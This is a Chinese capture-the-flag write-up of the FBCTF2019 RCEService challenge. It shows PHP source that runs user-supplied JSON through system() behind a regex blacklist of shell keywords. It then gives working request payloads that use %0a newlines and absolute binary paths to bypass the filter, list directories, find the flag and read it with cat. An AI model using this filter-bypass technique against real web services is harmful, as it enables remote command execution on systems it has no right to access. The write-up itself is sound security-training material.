[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
百结21416 小时前
HAProxy 搭建 Web 集群
前端·web
以神为界16 小时前
PHP与数据库交互实操:连接方法+SQL注入防范+系统数据库解析
数据库·sql·网络安全·php·web
白帽子黑客-宝哥17 小时前
网络安全有哪些赛事
web安全·网络安全·ctf·漏洞挖掘·网络安全大赛
tryqaaa_2 天前
学习日志(一)【含markdown语法,Linux学习】
linux·运维·学习·web安全·web·markdown
Leah-2 天前
Web项目测试流程
笔记·学习·web·测试·复盘
说实话起个名字真难啊2 天前
2026数字中国创新大赛初赛wp之图片隐写一
ctf
筱璦3 天前
期货交易系统部署一 — 数据库及web
web·后台·期货交易
曲幽3 天前
FastAPI 生产环境避坑指南:用 Alembic 管理数据库迁移,别再手动改表结构了!
python·fastapi·web·async·sqlalchemy·env·alembic·migration
曲幽4 天前
FastAPI服务半夜又挂了?先别急着重启,查查你的数据库连接池“池子”是不是漏了
python·prometheus·fastapi·web·async·sqlalchemy·connection·pool
Highcharts.js5 天前
性能提升的真相|WebGPU 到底能让 Highcharts 快多少?
信息可视化·web·服务器渲染·webgpu·highcharts·图表渲染